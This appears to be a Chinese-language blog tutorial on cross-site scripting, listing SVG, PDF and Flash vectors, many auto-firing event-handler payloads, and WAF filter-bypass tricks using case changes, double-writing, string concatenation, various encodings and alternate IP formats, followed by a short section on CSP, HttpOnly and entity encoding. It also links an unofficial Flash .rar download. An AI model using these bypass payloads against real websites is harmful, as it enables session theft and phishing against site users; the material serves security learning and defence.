xss跨站及绕过与防护

XSS

它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<circle cx="100"cy="50"r="40"stroke="black" stroke-width="2"fill="red" />

PDF-XSS

1、创建PDF,加入动作JS

2、通过文件上传获取访问链接

3、直链地址访问后被触发

SWF-XSS

测试swf文件xss安全性:

1、反编译swf文件

2、查找触发危险函数

3、找可控参数访问触发

xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText

loadMovie等等

adob flash下载链接:https://t5art65aer.yzhy23.cn/2019/08/02/adboeflash.rar?timestamp=671cf0d2\&auth_key=97f961c2c3e03dcd9e7c46429f170fa1\&sign=080e6247193bde0b8650b2134efa562c\&t=671cfee2

新建动画

按f9打开动作

写入

var m = _root.m;

flash.external.ExternalInterface.call(m);

ctrl+enter运行

正常运行ok,发布出来

然后放到网站内使用浏览器访问,加上参数m=alert(1),就执行js成功

常见标签-无需交互触发

html 复制代码
<script>alert("xss");</script>
<img src=1 οnerrοr=alert("xss");>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg οnlοad=alert("xss");>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe οnlοad=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x  οnerrοr=alert("xss");>
<body/οnlοad=alert("xss");>

<body
οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

<textarea οnfοcus=alert("xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

link远程包含js文件

html 复制代码
<link rel=import href="http://127.0.0.1/1.js">

JavaScript伪协议

html 复制代码
<a>标签
<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签
<iframe src=javascript:alert('xss');></iframe>

<img>标签
<img src=javascript:alert('xss')>//IE7以下

<form>标签
<form action="Javascript:alert(1)"><input type=submit>

过滤绕过

过滤空格

用/代替空格

html 复制代码
<img/src="x"/οnerrοr=alert("xss");>

过滤关键字

大小写
html 复制代码
<ImG sRc=x onerRor=alert("xss");>
双写

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

html 复制代码
<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接

利用eval

html 复制代码
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

html 复制代码
<script>top["al"+"ert"](`xss`);</script>

编码绕过

不过全是在能执行js的条件下,有点鸡肋

Unicode编码绕过

html 复制代码
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码

html 复制代码
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
html 复制代码
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii编码

html 复制代码
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex编码

html 复制代码
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64编码

html 复制代码
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
html 复制代码
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤url地址

url编码
html 复制代码
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP

ip转换进制在线工具

IP地址十六进制、二进制、十进制转换-ME2在线工具

1.十进制IP

复制代码
<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

复制代码
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

复制代码
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://

复制代码
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用中文句号代替英文的点

如果你在你在域名中输入中文句号浏览器会自动转化成英文的点

html 复制代码
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

安全防护

CSP

CSP(Content Security Policy 内容安全策略内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域禁止内联脚本执行(规则较严格,目前发现GitHub使用)禁止未授权的脚本执行(新特性,Google Map 移动版在使用)合理使用上报可以及时发现 xSS,利于尽快修复问题。

如下图,未开启csp时img标签可以加载外部源的图片

一旦加入csp代码开启csp 就报错,因为csp禁止请求非同源资源

HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Js读取到Cookie


使用js获取cookie,发现获取不到开启了httponly的参数

XSS Filter

把特殊标签符号转码,比如把"<", ">", "&"等这些特殊字符转码,例如heml实体化

开启实体化后

全被转义了

相关推荐
deli00733 分钟前
32K 上下文塞满后,AI 最先忘掉什么?120 轮对话实测
前端
deli0072 小时前
手机拍灯为什么有一条条黑纹?PWM 240Hz 实测
前端
wangruofeng6 小时前
AI Models 1.1.0 发布,查大模型价格、对比模型和找 API 地址
前端·aigc·ai编程
wangruofeng6 小时前
给前端开发者的 100 个设计参考网站
前端·设计
星栈9 小时前
视频即代码,Remotion 能做什么、不能做什么
前端·音视频开发
广州华水科技10 小时前
单北斗GNSS位移监测系统的应用与技术解析
前端
用户479492835691510 小时前
从一句话或代码仓到可交互 HTML:开源 Agent 画图技能 Archify v3.2 实测与选型边界
前端·后端·面试
66IT6610 小时前
Nessus Professional 10.12.6(macOS, Linux, Windows)新功能+ 安装教程
网络安全·渗透测试·漏洞扫描·nessus
风骏时光牛马12 小时前
生成一个AI多模态标题,仅输出一条标题,无额外文字、问句、备选、配图、文案等任何附加内容,不需要其他的任务服务 只要标题。
前端
wangruofeng13 小时前
从 GIF 到 AVIF:网页图片格式演进与 2026 年选型指南
前端·架构